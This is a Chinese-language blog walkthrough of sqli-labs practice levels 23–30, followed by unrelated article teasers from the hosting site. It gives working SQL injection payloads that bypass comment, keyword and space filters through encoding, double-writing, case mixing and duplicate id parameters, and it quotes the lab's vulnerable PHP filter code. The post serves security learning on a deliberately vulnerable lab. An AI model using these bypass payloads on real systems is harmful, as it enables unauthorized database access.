Sqli靶场23-->30

不知不觉鸽了几天了,没办法去旅游摸鱼是这样的了,抓紧时间来小更一下

                                

23.过滤注释符号

先手工注入一下,就能发现两个单引号不报错,但是一旦上到注释符号的话就会报错,可以猜测出是对注释符号进行了过滤,我们也去看一下源码!!

$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

不难发现,源代码的意思就是将 # -- 这两个注释符号替换成空,那很简单我们不注释就好了

不多说下一关!!

24.二次注入

这个关卡在前面讲过,就不多赘述,有兴趣的话可以翻一下我前面的文章

25.小小过滤and,编码秒了

这一关从它的提示都能发现他过滤了and和or,但是没有过滤编码(我猜的

于是就开始poc:

1'+%26%26+1=1--+

成功能够看见返回(Hint:在sql中and和&&的作用都是一样的)

26.过滤我and?还过滤我空格?但是无伤大雅

这一关一开始我是没有看提示的,直接手工注入,字符型,没跑

然后注释测试发现又给我过滤了,于是就写这样的poc

id=1'+and+1='1

不出意外,报错。。。。。。于是就在想是不是and导致的报错,于是poc就有

id=1'and'

回显正常,说明是and被过滤,尝试编码绕过

 没有回显(报错),说明是and被过滤, 而且%26%26被成功解析

于是继续我们的poc

id=1'+%26%26+1='1

 发现能成功回显,然后其实完全就到此为止了,但是,!@@@@!!!!

看一眼提示?其实就能发现它对空格也进行了过滤,但是没有什么关系,因为就算sql语句堆在一起,只要不触碰到关键词,都是会执行的,但是如果你想完美 加个/**/就好

27.and?三次绕过&&大小写

这题其实完全可以直接用and秒了,但是既然他都已经在暗示我过滤了select 和union了 那我怎么好意思不绕一下waf 开始poc(因为注释被过滤,所以select的最后一个要是'包裹)

321331231'+union+select+1,2,'1 

看看被过滤成了啥?好家伙,空格,union select 你是吞的一个不剩😓😓

那我们分别试一下双写一下试试?发现union和tab(%09)是出来了,但是我select呢??

321331231'+uniunionon%09seselectlect%091,2,'1 

于是试一下大小写?,成功绕过WAF

321331231'+uniunionon%09SelEct%091,user(),'1 

 这样就做出来了,但是还是得去看一下源代码,(为了日后的代码审计)

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}
  • 可以看到首先它是过滤了/ 和*
  • 然后将 -- #这些过滤掉
  • 接着就是空格了
  • 接下来就是select 了可以看见它前前后后一共过滤了两次,所以这就是为什么我们对select双写没有用的原因
  • 然后就是对union进行替换,而且是只替换一次,这里就是为什么可以进行双写绕过的原因

那么审计完代码了,其实我们是不是可以对select 进行一次三写,?这样也是可以的

321331231'+uniunionon%09seselecselecttlect%091,user(),'1

28.这不看源代码写的出来??牛魔WAF

这个题呃呃呃,感觉不看源代码真的绕不过这这个waf啊

                            我belike:    

来吧,先上最简单的poc:

1'%09union%09select%091,2,'3 

 发现变成了这样,双写一下试试看?

?又不过滤了

1'%09uniounionn%09seselectlect%091,2,'3

再来? 

1'%09unionunion%09selectselect%091,2,'3

  这是什么神奇waf(长见识了,其实这种就已经不在是匹配关键字)

而是匹配一种结构!!!!!!

于是就可以发现它匹配的是 union select这样的结构,那我们替换一下就好

2321312321312'%09union%09union%09selectselect%091,user(),'3

但是呢,你会收获一个这个

可以看见语句是被构造出来了,但是没有被执行,而且这个报错也不是我们常见的类型syntax error 于是我们去翻译一下      期待参数1是资源,但是却接收到了布尔值

也就是说接收到得分参数不匹配,于是去看一下源代码。。。。

sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

逆天!!!还有一个 () 怪不得一直不对,所以最终的poc就出来了

2321312321312')%09union%09union%09selectselect%091,user(),('3

29.明明可以绝杀,但是为什么要故意放水(bushi)

这一关,明明作者可以直接堵死注入点,但是他还是留了一条出路   来看!!!

首先看见这个hint就知道不简单,来看看他有多逆天

先是最简单的 1’这样的判断

发现就直接被过滤了,而且这题你会发现你怎么绕过都是这个结果,没办法,看源码

直到我看完源代码才知道什么是不是不可以,而是没有必要

先来看一个函数 whitelist

function whitelist($input)
{
	$match = preg_match("/^\d+$/", $input);
	if($match)
	{
		//echo "you are good";
		//return $match;
	}
	else
	{	
		header('Location: hacked.php');
		//echo "you are bad";
	}
}
  • 这里唯一要解释一下的,因该就只有$match = preg_match("/^\d+$/", $input); 了
  • 这个表示的是正则匹配传入的参数从开头到结尾是不是都是纯数字
  • 然后如果不是的话就跳转至 hacked.php 然后阻断注入

本来这个就已经是绝杀了的,但是慈祥的出题人还是给我们留下了退路(像极了老师捞人的样子)

函数java_implimentation()

function java_implimentation($query_string)
{

	$q_s = $query_string;
	$qs_array= explode("&",$q_s);

	foreach($qs_array as $key => $value)
	{
		$val=substr($value,0,2);
		if($val=="id")
		{
			$id_value=substr($value,3,30); 
			return $id_value;
			echo "<br>";
			break;
		}

	}

}
  • 巴拉巴拉一大堆,其实就是在将传入的参数以&符号分割开来,用数组接收
  • 并且它只检查第一个id值,并且返回id后面的参数值(就是这里在放水!!)

放水还远不止于此,继续看!!!

$qs = $_SERVER['QUERY_STRING'];
	$hint=$qs;
	$id1=java_implimentation($qs);
	$id=$_GET['id'];
	//echo $id1;
	whitelist($id1);
	
// connectivity 
	$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

其实我一直很好奇 他为什么不将$sql里面的动态插入的sql语句中的$id 换成能够通过过滤的$id1

         看的出来放水放到极致了    

所以这题的绕过方法就出来了, 写两个id

  • 第一个id为正常的数字参数,能够被正常检验,并且通过waf 然后再将后面咩有过滤的id拼接上去造成注入

于是就有最终的poc

id=1'&id=-1'+union+select+1,database(),user()--+

30.还是29关但是"

这一关还是一样,不过后面的 ' 要改成双引号 " 然后其他的都一样了 poc:

id=0&id=0"+union+select+1,user(),database()--+

 

差不多,写了七关,感觉要写到累死了,   ,后面的先鸽着,有时间再补,到时候过年的时候打算自己开一下红队,因为 我的兄弟:

我的兄弟萌,"内网,才是真正的战场,才是一个人的知识体系的最终融合体现!!!"

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/371384.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

SQL--图形化界面工具

1.图形化界面工具 上述&#xff0c;我们已经讲解了通过DDL语句&#xff0c;如何操作数据库、操作表、操作表中的字段&#xff0c;而通过DDL语句执 行在命令进行操作&#xff0c;主要存在以下两点问题&#xff1a; 1).会影响开发效率 ; 2). 使用起来&#xff0c;并不直观&…

YOLOv5改进 | 损失函数篇 | 更加聚焦的边界框损失Focaler-IoU | 二次创新Inner-FocalerIoU

一、本文介绍 本文给大家带来的改进机制是更加聚焦的边界框损失Focaler-IoU以及我二次创新的InnerFocalerIoU同时本文的内容支持现阶段的百分之九十以上的IoU,比如Focaler-IoU、Focaler-MpdIoU、Innner-Focaler-MpdIoU、Inner-FocalerIoU包含非常全的损失函数,边界框的损失函…

4.0 HDFS 配置与使用

之前提到过的 Hadoop 三种模式&#xff1a;单机模式、伪集群模式和集群模式。 单机模式&#xff1a;Hadoop 仅作为库存在&#xff0c;可以在单计算机上执行 MapReduce 任务&#xff0c;仅用于开发者搭建学习和试验环境。 伪集群模式&#xff1a;此模式 Hadoop 将以守护进程的…

Pytest测试用例参数化

pytest.mark.parametrize(参数名1,参数名2...参数n, [(参数名1_data1,参数名2_data1...参数名n_data1),(参数名1_data2,参数名2_data2...参数名n_data2)]) 场景&#xff1a; 定义一个登录函数test_login,传入参数为name,password&#xff0c;需要用多个账号去测试登录功能 # …

数据库管理phpmyadmin

子任务1-PHPmyadmin软件的使用 本子任务讲解phpmyadmin的介绍和使用操作。 训练目标 1、掌握PHPmyadmin软件的使用方法。 步骤1 phpMyAdmin 介绍 phpmyadmin是一个用PHP编写的软件工具&#xff0c;可以通过web方式控制和操作MySQL数据库。通过phpMyAdmin可以完全对数据库进行…

智慧港口:山海鲸可视化引领未来

随着疫情的结束&#xff0c;全球贸易迎来新的春天&#xff0c;港口作为物流枢纽的地位日益凸显。然而&#xff0c;传统港口的运营和管理方式已无法满足现代物流的需求。为了提高港口运营效率&#xff0c;降低成本&#xff0c;智慧港口的概念应运而生。作为山海鲸可视化的开发者…

《Python 网络爬虫简易速速上手小册》第3章:Python 网络爬虫的设计(2024 最新版)

文章目录 3.1 设计高效的爬取策略3.1.1 重点基础知识讲解3.1.2 重点案例&#xff1a;使用 Scrapy 框架进行并发爬取3.1.3 拓展案例 1&#xff1a;使用 Requests 和 gevent 进行异步请求3.1.4 拓展案例 2&#xff1a;利用缓存机制避免重复请求 3.2 管理爬虫的请求频率3.2.1 重点…

08. 【Linux教程】CentOS 目录介绍

CentOS 目录介绍 前面小节介绍了如何安装并登录连接 CentOS 系统&#xff0c;本小节围绕 CentOS 系统的目录&#xff0c;介绍其各个目录的作用&#xff0c;方便读者以后在工作中很好地将项目和软件归类存储&#xff0c;熟悉 CentOS 系统各个目录的功能介绍&#xff0c;有助于加…

【GAMES101】Lecture 15 全局光照

本节继承上一节的难度并继续加深&#xff0c;讲这个BRDF&#xff0c;然后理解反射方程和渲染方程&#xff0c;最终实现全局光照&#xff0c;以下内容很抽象……如果想要深入理解建议到隔壁基于物理着色&#xff1a;BRDF - 知乎 (zhihu.com)或者多看几遍视频&#xff0c;我也是回…

【51单片机】74HC595芯片实现单片机 IO 扩展(串转并)和 LED点阵实验

目录 单片机 IO 扩展&#xff08;串转并&#xff09;74HC595 芯片介绍硬件设计软件实验实验现象 LED点阵实验LED 点阵介绍硬件设计软件设计LED点阵&#xff08;点亮一个点&#xff09;LED 点阵&#xff08;显示数字&#xff09;LED 点阵&#xff08;显示图像&#xff09; 橙色 …

发送get请求并且发送请求头(header),java实现

发送get请求时&#xff0c;发送请求头&#xff08;Header&#xff09;中的内容 方便第二次调用其他url时传递参数&#xff0c;例如userCode或者租户编码 调用方式 Autowired private HttpServletRequest request;先注入HttpServletRequestpublic xxx xxx(){String url &quo…

后端程序员入门react笔记(一)

相关参考 react 首先&#xff0c;我们先大概了解一下什么是react以及react可以干什么。 React 是 Facebook 开源的一个用于构建用户界面的一款 JavaScript 库&#xff0c;主要用于构建 UI。 react的特点 声明式编程 react使用jsx进行渲染&#xff0c;这是一种类似html的语法…

(5)【Python/机器学习/深度学习】Machine-Learning模型与算法应用—12种聚类算法说明与归纳

目录 一、12种聚类(无监督学习)算法说明和区分比较 聚类算法的类型(一) ​编辑导入函数库 加载数据集 ​编辑 (1)K-Means --Centroid models (2)Mini-Batch K-Means -- Centroid models (3)AffinityPropagation (Hierarchical) -- Connectivity models (4)Mean Shift…

靶机实战bwapp亲测xxe漏洞攻击及自动化XXE注射工具分析利用

靶机实战bwapp亲测xxe漏洞攻击及自动化XXE注射工具分析利用。 1|0介绍 xxe漏洞主要针对webservice危险的引用的外部实体并且未对外部实体进行敏感字符的过滤,从而可以造成命令执行,目录遍历等.首先存在漏洞的web服务一定是存在xml传输数据的,可以在http头的content-type中查…

前后端数据校验

前端校验内容 前端开发中的必要校验&#xff0c;可以保证用户输入的数据的准确性、合法性和安全性。同时&#xff0c;这些校验也有助于提供良好的用户体验和防止不必要的错误提交到后端。 1、必填字段校验&#xff1a; 对于必填的字段&#xff0c;需确保用户输入了有效的数据…

PyTorch 2.2 中文官方教程(二十)

移动设备 在 iOS 上进行图像分割 DeepLabV3 原文&#xff1a;pytorch.org/tutorials/beginner/deeplabv3_on_ios.html 译者&#xff1a;飞龙 协议&#xff1a;CC BY-NC-SA 4.0 作者&#xff1a;Jeff Tang 审阅者&#xff1a;Jeremiah Chung 介绍 语义图像分割是一种计算机视…

InnoDB 锁系统(小白入门)

1995年 &#xff0c;MySQL 1.0发布&#xff0c;仅供内部使用&#xff01; 开发多用户、数据库驱动的应用时&#xff0c;最大的一个难点是&#xff1a;一方面要最大程度地利用数据库的并发访问&#xff0c;另一方面还要确保每个用户能以一致性的方式读取和修改数据。 MVCC 并发…

zabbix配置监控脚本

zabbix配置监控脚本 1.修改agent配置文件 [rootchang ~]# vim /etc/zabbix/zabbix_agentd.conf 333行 原# UnsafeUserParameters0 修改成 UnsafeUserParameters12.创建脚本与脚本存放目录 [rootchang ~]# mkdir /etc/zabbix/zabbix_scripts [rootchang zabbix_scripts]# vi…

电路分析2

7 等效电路的思想&#xff0c;简化不是目的&#xff0c;这个电路说明一切&#xff01;_哔哩哔哩_bilibili 高中知识&#xff0c;翻笔记 8 什么时候用Y型&#xff1f;看到有有相同数字的时候&#xff0c;就可以考虑用 9 10 输入电阻还有没学完的 ok 11

Django的web框架Django Rest_Framework精讲(四)

文章目录 1.DRF认证组件Authentication2.权限Permissions3.限流Throttling4.过滤Filtering5.排序6.分页Pagination7.异常处理 Exceptions8.自动生成接口文档 大家好&#xff0c;我是景天&#xff0c;今天我们继续DRF的最后一讲&#xff0c;Django的web框架Django Rest_Framewor…